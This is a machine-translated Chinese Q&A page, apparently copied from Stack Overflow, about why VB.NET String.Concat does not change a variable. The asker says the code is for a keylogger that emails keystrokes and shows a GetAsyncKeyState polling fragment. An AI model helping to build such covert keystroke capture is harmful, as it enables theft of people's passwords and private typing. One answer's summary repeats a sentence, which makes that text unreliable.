字符串没有在VB中连接

时间:2014-04-16 05:15:45

标签: vb.net

我声明了一个像这样的字符串

Dim s As String=""

我正在尝试通过连接击键来构建一个通过电子邮件发送String“s”的键盘记录器。示例代码段如下

Dim hotkey5 As Boolean
        hotkey5 = GetAsyncKeyState(Keys.E)
        If hotkey5 = True Then
            String.Concat(s, "E")
        End If

但没有任何东西与String s连接起来。为什么会这样?

2 个答案:

答案 0 :(得分:2)

在.net中,字符串是不可变的。所以你需要一个新的字符串来保存连接的结果 - 这是连接的字符串。

    Dim hotkey5 As Boolean
    hotkey5 = GetAsyncKeyState(Keys.E)
    If hotkey5 = True Then
        s= String.Concat(s, "E")
    End If

答案 1 :(得分:-1)

Dim hotkey5 As Boolean
hotkey5 = GetAsyncKeyState(Keys.E)
If hotkey5 = True Then
    s+="E"
End If

概要

VB.Net提供了使用+运算符添加或连接两个字符串的功能。它也可以用很多方式。 VB.Net提供了使用+运算符添加或连接两个字符串的功能。它也可以用很多方式。 设Dim Valu1 as String=”1”Dim Valu2 as String=”2”。然后是Dim concatenate = Valu1+Valu2。因此值为”12”。或者我们可以Dim concatenate = Valu2+Valu1。然后该值将为”21”。所以这很简单